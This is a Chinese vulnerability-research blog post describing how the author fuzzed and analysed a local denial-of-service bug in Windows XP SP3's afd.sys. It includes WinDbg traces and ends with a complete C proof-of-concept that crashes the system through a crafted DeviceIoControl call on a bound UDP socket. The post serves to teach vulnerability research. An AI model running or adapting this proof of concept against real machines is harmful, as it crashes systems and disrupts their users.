WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程
标 题: WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程
时 间: 2013-03-17,15:22:33
这是本人第一次做漏洞挖掘，2月的时候开始研究漏洞挖掘技术，2月24号那天在进行Fuzz测试的时候偶然的发现了一个afd.sys未处理的异常，然后就对这个异常如获至宝的分析起来了，因为在上班，所以都是利用周末时间来进行，前前后后到加起来差不多5天时间。现在这个漏洞的原因以及低层次的利用已经全部完成，所以拿出来跟大家分享一下，虽然挖到现在只挖出了本地拒绝服务的用处，在如今0Day满天飞的年代这个Vulnerability的价值微乎其微，但是对于我个人来说意义很大，毕竟是第一次做漏洞分析，对于把分析问题的思路从工作惯性转向漏洞挖掘有不少帮助（我的工作平时接触最多的就是，栈，一天到晚就是抓栈，分析栈，也经常抓dump，分析dump，但是工作的目的不是挖掘漏洞，所以我要转型挖漏洞需要最大的改变就是工作时候的目的性）。好了，不废话了，下面把从最初发现这个漏洞到写出这篇文章的过程详细的写出来。
1 Fuzz发现afd.sys发生未处理的ExRaiseDatatypeMisalignment异常。
Pic1
2 异常原因探究
上图圈起来的数据都是需要关注的，到这里，我们就要先看一看详细情况，首先看【栈】：
kd> kvn# ChildEBP RetAddr Args to Child 00 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 nt!ExRaiseDatatypeMisalignment+0xa (FPO: [0,0,0]) 01 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo]) //# 02 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo]) //# 03 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo]) *** ERROR: Symbol file could not be found. Defaulted to export symbols for IOCTL_fuzzer.sys - 04 b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) //# WARNING: Stack unwind information not available. Following frames may be wrong. 05 b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5 06 b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3 07 b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b 08 b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64) 09 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) 0a 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0]) //# 0b 00f3fe78 7c930041 00090718 000bb8e0 0000605d 0x719c7425 0c 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlFreeHeap+0x1e9 (FPO: [Non-Fpo]) 0d 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo]) 0e 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo]) 0f 00f3ffec 00000000 7c930250 00000000 00000000 0x7c80b729
从第1帧可以看到原来是ProbeForWrite函数抛出了Data misaligned - code 80000002这个异常。
难道是这个ProbeForWrite没有放在try/except块中么？(暂且不管)，先看一下是什么参数导致了这个一场吧：
kd> .frame 1 01 b19698d8 b246db47 nt!ProbeForWrite+0x54 kd> dds b19698d8 L9 b19698d8 b1969a14 b19698dc b246db47 afd!AfdFastIoDeviceControl+0x4a9 b19698e0 5fcaa03a // Address b19698e4 00000004 // Length b19698e8 00000004 // Alignment b19698ec 824182a0 b19698f0 821c45d0 b19698f4 b246b030 afd!AfdFastIoDispatch b19698f8 00000000
可以看到是地址参数出了问题，0x5fcaa03a。那这个参数是从哪里来的呢？
我首先想到的是去对比NtDeviceIoControlFile传入的InputBuffer，那就去对比一下：
kd> .frame 4 04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a kd> dds b1969af8 L10 b1969af8 b1969b8c b1969afc b16dfed5 IOCTL_fuzzer+0x4ed5 b1969b00 00000230 // FileHandle b1969b04 00000000 // Event b1969b08 00000000 // ApcRoutine b1969b0c 00000000 // IoStatusBlock b1969b10 00f3fd4c // ApcContext b1969b14 000120cf // IoControlCode b1969b18 00f3fd20 // InputBuffer b1969b1c 0000002a // InputBufferLength b1969b20 00000000 // OutputBuffer b1969b24 00000000 // OutputBufferLength b1969b28 805738c1 nt!NtWriteFile+0x607 b1969b2c b1969be8 b1969b30 b1969c84 b1969b34 805732ba nt!NtWriteFile
传入的InputBuffer并不是我们所期望的0x5fcaa03a，那怎么办？当然是看代码了！
漏洞挖掘是一项综合技能要求很高的技术，知识面越宽越好，为了解决问题能想出的办法越多越好。
漏洞挖掘终归是调试分析四个字，调试分析归结为两项大的技能点：动态调试，静态分析。
动态调试主要目的是发现、重现、验证问题，静态分析作为对调试时候的分析能力缺乏的一种补充，主要目的是发掘问题产生的原因。
因为Windbg在汇编代码的展示方面功能太单一，所以静态分析还是用IDA好了。
先算一下这个ProbeForWrite函数调用在afd.sys模块内的RVA，
kd> lm m afd* start end module name b2469000 b248ad00 afd (pdb symbols) f:\kernelsymbols\afd.pdb\5A0F2680051E40FCB82FED32C46BC9662\afd.pdb kd> ?b246db47-b2469000 Evaluate expression: 19271 = 00004b47
0x00004b47就是我们要找的RVA了，然后拿出IDA，找到这个地址：
Pic2
接下来我们要做的就是回溯一下代码，看看这个参数的源头在哪里，因为这个Functino Chunk只有一个扇入，所以我们很容易向上找到这个ebp+30h的内容是如何设置的：
Pic3
上图中紫色的Chunk中红色框内的代码用C代码来表示就是
RtlCopyMemory(pDst, ebx, 0x24);
其中pDst的值为ebp-50h，而复制的长度为0x24，所以该函数执行完之后，从ebp-50h到ebp-2ch之间的内存都是从ebx处的内存中复制过来的。
其实在这里如果有意识的话，立刻就会想到ebx就是InputBuffer，如何确定这个推测？
最直观的就是通过调试时查看执行到里时ebx的值是否等于NtDeviceIoControlFile的参数InputBuffer，因为在异常发生在ProbeForWrite：
kd> .frame 4 04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a kd> dds b1969af8 L10 b1969af8 b1969b8c b1969afc b16dfed5 IOCTL_fuzzer+0x4ed5 b1969b00 00000230 // FileHandle b1969b04 00000000 // Event b1969b08 00000000 // ApcRoutine b1969b0c 00000000 // IoStatusBlock b1969b10 00f3fd4c // ApcContext b1969b14 000120cf // IoControlCode b1969b18 00f3fd20 // InputBuffer b1969b1c 0000002a // InputBufferLength b1969b20 00000000 // OutputBuffer b1969b24 00000000 // OutputBufferLength b1969b28 805738c1 nt!NtWriteFile+0x607 b1969b2c b1969be8 b1969b30 b1969c84 b1969b34 805732ba nt!NtWriteFile kd> ?ebx // 这里只是恰好在发生异常的时候Ebx的值没有被改变，其他情况如果ebx的值被改变了的话，就需要重新启动调试，打好断点然后再查看。 Evaluate expression: 15990048 = 00f3fd20
为了进一步确认，我们还是把内存数据dump出来看看吧：
kd> dd 00f3fd20 LC 00f3fd20 89cf8909 bd625e8e 0a224464 7632e035 00f3fd30 c3de460d ecd5cffd ea3d8d76 cba3477a 00f3fd40 5fcaa03a 000bbbc0 000bbbc0 00000103 kd> .frame 2 02 b1969a14 805768eb afd!AfdFastIoDeviceControl+0x4a9 kd> dd b1969a14-0x50 LC b19699c4 89cf8909 bd625e8e 0a224464 7632e035 b19699d4 c3de460d ecd5cffd ea3d8d76 cba3477a b19699e4 5fcaa03a 00000000 e21c8460 822a52c0
这证明我们的猜测是没错的，那现在至少知道了触发这个异常所需要的数据：即InputBuffer+0x20处的一个DWORD会被当做用户空间地址去进行可写验证，但是却没有进行异常处理。
认真看文章的同学可能还发现了，在代码下面对ebp+0x34的值也进行了同样的操作，这就对应InputBuffer+0x1c处的DWORD。
刚才说了可以通过调试来找关联，当然也可以通过代码来静态分析其参数来源，我在做的时候因为现场丢失，所以大部分时间都是在静态分析代码。
关于找数据来源，当然是倒推代码执行路径来的方便，结合IDA的选择染色功能，找起来十分方便的，一点经验就是：使用IDA，屏幕越大越好！（每次用的时候都有种想把这14.1的本砸烂的冲动）
现在我们已经具有的关于这个异常的信息是：
IoCtlCode = 0x000120cf;DWORD InputBuffer[9] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)0x1 // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)};
后面呢，还需要一个FileHandle，少了这个DeviceIoControl无法找到目标，所以：
kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8 b1969b8c
b1969afc b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00 00000230
b1969b04 00000000
b1969b08 00000000
b1969b0c 00000000
b1969b10 00f3fd4c
b1969b14 000120cf
b1969b18 00f3fd20
b1969b1c 0000002a
b1969b20 00000000
b1969b24 00000000kd> !handle 00000230 // 查看这个Hande的对象PROCESS 8221dd08 SessionId: 0 Cid: 0544 Peb: 7ffdb000 ParentCid: 02d8DirBase: 0a2c01a0 ObjectTable: e16ea9d8 HandleCount: 171.Image: svchost.exeHandle table at e21c8000 with 171 entries in use0230: Object: 821c45d0 GrantedAccess: 0012019f (Inherit) Entry: e21c8460
Object: 821c45d0 Type: (825eb040) FileObjectHeader: 821c45b8 (old version)HandleCount: 1 PointerCount: 3Directory Object: 00000000 Name: \Endpoint {Afd}kd> dt _FILE_OBJECT 821c45d0
ntdll!_FILE_OBJECT+0x000 Type : 0n5+0x002 Size : 0n112+0x004 DeviceObject : 0x824182a0 _DEVICE_OBJECT+0x008 Vpb : (null) +0x00c FsContext : 0x822a52c0 Void+0x010 FsContext2 : (null) +0x014 SectionObjectPointer : (null) +0x018 PrivateCacheMap : 0xffffffff Void+0x01c FinalStatus : 0n0+0x020 RelatedFileObject : (null) +0x024 LockOperation : 0 ''+0x025 DeletePending : 0 ''+0x026 ReadAccess : 0 ''+0x027 WriteAccess : 0 ''+0x028 DeleteAccess : 0 ''+0x029 SharedRead : 0 ''+0x02a SharedWrite : 0 ''+0x02b SharedDelete : 0 ''+0x02c Flags : 0x40000+0x030 FileName : _UNICODE_STRING "\Endpoint"+0x038 CurrentByteOffset : _LARGE_INTEGER 0x0+0x040 Waiters : 0+0x044 Busy : 0+0x048 LastLock : (null) +0x04c Lock : _KEVENT+0x05c Event : _KEVENT+0x06c CompletionContext : (null)
看起来是个Socket，到这里，漏洞的本地Ddos利用代码已经浮现在脑海了，于是就收拾现场，重新启动写了一个利用代码。
3 利用方法的探究
写Poc代码的时候Socket使用了TCP协议，可是把程序运行起来的时候并没有发生期望的BSOD.
可想而知，因为分析的过程跳过了很多步骤，从afd!AfdFastIoDeviceControl到nt!ProbeForWrite中间的过程完全被忽略了。
而有可能afd!AfdFastIoDeviceControl在中间的过程中做了很多参数检查，由于参数不符合所以程序分支就发生了变化，没有进入预期异常触发点。
无奈，只能继续分析程序执行流程，然后调试修正参数了。
关于这里的分析，我觉得我选择了一个不错的方法，因为我们要到达一个指定的代码片段，所以
1. 先倒推一条从目标代码到函数入口的最短路径，当然要避开明显的错误跳转，在IDA中用颜色A标明这条执行路径；
2. 调试自己的POC代码，找到现有POC代码执行的路径，在IDA中用颜色B标明这条执行路径；
3. 如果调试代码的执行路径和倒推出来的路径重复，就用B覆盖原先的颜色；
4. 如果调试代码的执行路径偏离了倒推出来的路径，那就分析代码查找跳转原因；
5. 修正第4步引起跳转的参数；
6. 然后重复2到5步，直到路径完全被B颜色覆盖。
我在操作过程中形成的颜色路径如下图：
Pic4
上图粉红色是倒推路径，紫色是执行时候的路径，我觉得这个方法比较有效。下面回到问题上来了，为什么Poc代码没有走正确的流程呢？
第一个原因在这里
Pic5
esi是什么东西呢？仍然用代码回溯找数据来源的方法，发现，esi是跟socket句柄有关，esi的值就是前面说的socket的FILE_OBJECT中的一个字段FsContext
我们来看一下，发生异常时候这里的值是什么，数据仍然使用前面所述的FILE_OBJECT中的值：
kd> dw 0x822a52c0 L8 822a52c0 afd1 0002 89af 001b 0011 0000 0010 0000
能触发异常的值是afd1，而我们写的Poc中确实afd2，应该想到这是因为Socket的类型不对，那怎么才能创建一个FsContext的第一个word是afd1的socket呢？
我采用了一个笨的方法，穷举，就是应用层不改变socket的类型，然后内核调试查看FsContext的内容，苦力活干完后发现：
SOCK_STREAM
1.创建后 afd0
2.连接后 afd2
3.BIND后 afd0
4.Listen后 afd4
还是很悲剧，没有出现afd1，然后就推测肯定跟协议类型有关了，于是果断换了一个SOCK_DGRAM的UDPsocket，终于这个地方可以顺利执行下去了。
可是后面仍然没有按照预期进入目标代码，经过颜色比对法，分析发现又一处判断：
Pic6
这里接着上面刚刚执行完的代码，那我们看看esi+2的地方：
kd> db 0x822a52c0 +2 L8 822a52c2 02 00 af 89 1b 00 11 00
预期需要0x02，而poc的值却是01，这个值是什么含义呢？经过上面的穷举方法之后，我不想再用那么笨的办法了。
因为这样下去效率太低，所以我决定网上层走走，看一看正常情况下代码流程是如何进入能够触发遗产的目标代码的。
先看加好符号文件的栈：
kd> kvn# ChildEBP RetAddr Args to Child 00 b1969398 804f8bad 00000003 80000002 00000000 nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) 01 b19693e4 804f979a 00000003 00000000 c0400000 nt!KiBugCheckDebugBreak+0x19 (FPO: [Non-Fpo]) 02 b19697c4 804f9cc5 00000050 80000002 00000000 nt!KeBugCheck2+0x574 (FPO: [Non-Fpo]) 03 b19697e4 8051dc67 00000050 80000002 00000000 nt!KeBugCheckEx+0x1b (FPO: [Non-Fpo]) 04 b1969844 80541554 00000000 80000002 00000000 nt!MmAccessFault+0x8e7 (FPO: [Non-Fpo]) 05 b1969844 80000002 00000000 80000002 00000000 nt!KiTrap0E+0xcc (FPO: [0,0] TrapFrame @ b196985c) WARNING: Frame IP not in any known module. Following frames may be wrong. 06 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 0x80000002 07 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo]) 08 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo]) 09 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo]) 0a b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) 0b b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5 0c b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3 0d b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b 0e b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64) 0f 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) 10 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0]) 11 00f3fd84 75ba87f8 00000230 00f3fdb4 00f3fde4 mswsock!MSAFD_WSPRecvMsg+0x15f (FPO: [Non-Fpo]) 12 00f3fe10 75ba2aa8 00000230 00f3fe74 00f3fe70 ssdpsrv!SocketReceive+0xcf (FPO: [Non-Fpo]) 13 00f3fe8c 7c947e91 000bb8e0 000bad00 000badc8 ssdpsrv!SsdpNetProc+0xab (FPO: [Non-Fpo]) 14 00f3fed8 7c94b0a1 75ba29fd 000bb8e0 000bad00 ntdll!RtlpWaitOrTimerCallout+0x73 (FPO: [Non-Fpo]) 15 00f3fef8 7c947ac2 000badc8 7c99e440 000bc038 ntdll!RtlpAsyncWaitCallbackCompletion+0x25 (FPO: [Non-Fpo]) 16 00f3ff40 7c947b03 7c94b07c 000badc8 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo]) 17 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [Non-Fpo]) 18 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo]) 19 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo]) 1a 00f3ffec 00000000 7c930250 00000000 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])
从栈中可以看到，整个代码都是从一个Timer回调中发起的。
通过最初的bugcheck我们看到进程是svchost.exe，结合栈中的ssdpsrv这个符号可以确定这个漏洞是SSDP Discovery服务中存在的。
那我们就来分析一下我们需要的这个socket类型到底什么类型：
用回溯代码的方法，从调用ntdll!ZwDeviceIoControlFile的地方向上找，最终找到了Socket实在ssdpsrv.dll中创建的。
用IDA分析ssdpsrv.dll，在其中搜索SsdpNetProc符号，然后查找引用：
Pic7
幸好只有一处引用，分析的工作量就大减了，然后跳过去分析，在ListenOnAllNetWork中有以下代码：
Pic8
可以看到程序是把用SsdpNetProc注册了一个等待事件回调，并且eax作为参数传入，那SsdpNetProc是怎么处理eax的呢？socket是否在SsdpNetProc中创建的呢？
进入SsdpNetProc分析，发下以下代码：
pic9
其中esi就是socket，代码回溯，找到esi其实是第一个参数加偏移0x4
75BA2A0B 058 mov ebx, [ebp+arg_0]
75BA2A5B 060 mov esi, [ebx+4]
代码中就一直使用了esi保存socket，这个不关心，因为知道了socket不是在SsdpNetProc创建的，那就继续回到ListenOnAllNetWork函数进行分析。
回溯查到eax+0x4的地址是何时赋值的。
Pic10
找到socket的值是从lpMem+0x20h处传入的，lpMem是一个全局变量，这说明socket的创建在再往上一帧的函数里完成的，同样找ListenOnAllNetWork的引用。
Pic11
有两处，但是我们根据符号的意义可知，初始化应该在SssdpMain函数中创建，所以继续跳入SssdpMain函数：
Pic12
但是SssdpMain函数可读性太差了，这时候要换个思路了，创建socket，一定是调用了socket函数，那我们看看一看ssdpsrv.dll的导入表，找找看所有引用socket的地方。
pic13
其实只有两处引用，然后分别在对这两个函数所在的函数查找引用，就会发现在SssdpMain函数中调用了GetNetworks函数，而后又调用了ListenOnAllNetWork函数，
所以推测可能在GetNetworks函数中完成了对lpMem+0x20h的赋值，然后对GetNetworks分析：
pic14
到这里其实已经知道了我们所需要的socket就是在SocketOpen函数中创建的，那就去看看是如何创建的吧：
Pic15
由以上分析可知创建一个UDP的socket，然后bind到一个地址就行了，所有的分析到这里就结束了，下面用我们所掌握的信息来写Poc代码，并进行验证。
4 Poc代码的编写
/*************************************************************\** afd.sys LocalDDos proof of concept* tishion#163.com* 2013/03/17*
\*************************************************************/
#include <tchar.h>
#include <stdio.h>
#include "winsock2.h"#pragma comment(lib, "Ws2_32.lib")void _tmain()
{WSADATA wsaData;int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);if (iResult != NO_ERROR){_tprintf(_T("Error at WSAStartup()\n"));}SOCKET Socket;Socket = socket(AF_INET, SOCK_DGRAM, 0);if (Socket == INVALID_SOCKET) {_tprintf(_T("Error at socket(): %ld\n"), WSAGetLastError());WSACleanup();return;}sockaddr_in service;service.sin_family = AF_INET;service.sin_addr.s_addr = inet_addr("127.0.0.1");service.sin_port = htons(27015);if (SOCKET_ERROR == bind(Socket, (SOCKADDR*) &service, sizeof(service))) {_tprintf(_T("Error at bind(): %ld\n"), WSAGetLastError());closesocket(Socket);WSACleanup();return;}DWORD dwBytesReturned = 0;DWORD InputBuffer[9] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)0x1 // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)};BOOL bRet = DeviceIoControl((HANDLE)Socket, 0x000120cf, &InputBuffer, 0x24, NULL, 0, &dwBytesReturned, NULL);//// 后面的代码没机会执行了，因为已经BSOD了// 本着一个合格的程序员专业精神，还是把收尾工作的代码写好closesocket(Socket);WSACleanup();return;
}
看一下效果：）
pic 16
对这个漏洞的分析利用就到这里了，其实还可以继续挖掘，看看是否可以变成远程漏洞，因为这个漏洞是SSDP Server端的，并且触发过程是在SocketReceive函数中，所以应该会和Client端有一定联系。
后续挖掘的话，方法还是这些，只是时间和精力的问题了，希望这篇文章能给一些想进入漏洞挖掘这个领域的同学带来收获，即使很小。
***** Vulnerability Summary *****
Sytem Platform: Windows XP With Serveice Pack 3
Kernel Version: NT 5.1.2600.5657
Module Name: Afd.sys
Module Version: 5.1.2600.5657
Function: AfdFastIoDeviceControl
Device: \Afd\Endpoint
IoctlCode: 0x000120cf
Key : Create a socket with SOCK_DGRAM and bind it to the local hsot, any port.
Call DeviceIoControl with the socket and set the value of Inputbuffer+0x20h or InputBuffer+0x1ch to a number that can not be divided with no remainder by 4.
Then you’ll get it.
WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程相关推荐
- 瑞星 HookCont.sys ＜= 24.0.0.5 驱动本地拒绝服务漏洞
漏洞详情 披露状态: 2010-07-27: 细节已通知厂商并且等待厂商处理中 1970-01-01: 厂商已经确认,细节仅向厂商公开 1970-01-04: 细节向第三方安全合作伙伴开放 1970- ...
- Linux kernel 本地拒绝服务漏洞
漏洞名称: Linux kernel 本地拒绝服务漏洞 CNNVD编号: CNNVD-201302-387 发布时间: 2013-02-22 更新时间: 2013-02-22 危害等级: 漏洞类型 ...
- android 拒绝服务漏洞,Android 应用本地拒绝服务漏洞浅析
1.本地拒绝服务漏洞描述 Android 系统提供了 Activity.Service 和 Broadcast Receiver 等组件,并提供了 Intent 机制来协助应用间的交互与通讯,Inte ...
- avast for android,avast! Mobile Security for Android 本地拒绝服务漏洞
发布日期:2013-04-19 更新日期:2013-04-23 受影响系统: avast Mobile Security for Android 描述: ----------------------- ...
- 关于Android应用本地拒绝服务漏洞和android:exported属性
最近了项目中遇到一个Android应用本地拒绝服务漏洞的问题,第一眼看到这个玩意,我去,什么东东? 请教了下万能的度娘亲,才知道是应用本身组件对外性的一个问题.先简单说下这个漏洞. 下面漏洞介绍摘自阿 ...
- Linux系统X服务漏洞,X.Org X Server本地拒绝服务漏洞(CVE-2013-6424)
发布日期:2013-12-06 更新日期:2013-12-09 受影响系统: X.org X.org 描述: --------------------------------------------- ...
- APP漏洞扫描器之本地拒绝服务检测详解
APP漏洞扫描器之本地拒绝服务检测详解 作者:伊樵@阿里聚安全 阿里聚安全的Android应用漏洞扫描器有一个检测项是本地拒绝服务漏洞的检测,采用的是静态分析加动态模糊测试的方法来检测,检测结果准确全 ...
- 阿里聚安全Android应用漏洞扫描器解析：本地拒绝服务检测详解
阿里聚安全Android应用漏洞扫描器解析:本地拒绝服务检测详解 阿里聚安全的Android应用漏洞扫描器有一个检测项是本地拒绝服务漏洞的检测,采用的是静态分析加动态模糊测试的方法来检测,检测结果准确 ...
- 安卓拒绝服务漏洞分析及漏洞检测
"超级拒绝服务漏洞"是一个安卓通用型拒绝服务漏洞,恶意***者可能利用此漏洞让手机中的任意应用崩溃无法正常工作,几乎影响目前市面上所有的安卓APP应用. 漏洞分析: 0xr0ot和 ...
- android拒绝服务教程,[转帖][转帖]通用型安卓拒绝服务漏洞报告检测工具
作者:360捉虫猎手研究员 @0xr0ot & @Xbalien "超级拒绝服务漏洞"是近期发现的一个安卓通用型拒绝服务漏洞,恶意攻击者可能利用此漏洞让手机中的任意应用崩溃 ...
最新文章
- jsp使用mysql技术分页_JSP分页技术实现
- print python 如何加锁_Python 进阶（一）：多线程
- mysql5.5设置字符编码
- Python气流介绍
- python项目如何上线_django项目部署上线(示例代码)
- 【调研】在总体为n的情况下，多少样本有代表性？
- idea导入java项目类上面显示红色的J符号解决办法
- python 下载文件-python下载文件的三种方法
- 李宏毅机器学习——无监督学习(一)
- 三层交换机连接路由器时配置OSPF注意事项
- Windows Server 2012 2R服务器版本域控制器的安装及域环境的搭建（内有镜像下载）...
- Failed to find Build Tools revision 25.0.2
- oracle instant client 32,Oracle Instant Client 配置方法
- Spice下命令spicy的USB重定向过程分析
- PHP连接MSSQL数据库案例，PHPWAMP多个PHP版本连接SQL Server数据库
- jQuery 版本升级迁移
- mysql临时表关联查询_MySQL如何执行关联查询
- NAS（Network Attached Storage）协议
- 1.5时钟控制的触发器（钟控JK、钟控T触发器）
- Python基础——类和对象与魔法方法
热门文章
- 大三老狗的前端实习半年心得-经验分享
- mysql 打开sql日志，记录所有sql
- VS Code久坐提醒插件，996防猝死[捂脸]
- Flowchat 流程图在Markdown中的使用（不同编辑器有细微区别）
- 岩板铺地好吗_铺地的石板如何用处高逼格，三个大师案例来教你！
- error: invalid operands of types ‘QLabel*‘ and ‘void‘ to binary ‘operator＞
- wps计算机里wps云盘图标,我的电脑中的wps网盘图标怎么设置删除
- 计算机管理员没有权限删除,答疑：没有管理员权限，无法删除文件？-删除文件...
- 用Python模拟同步时钟
- 文件没保存怎么恢复？试试这个方法恢复数据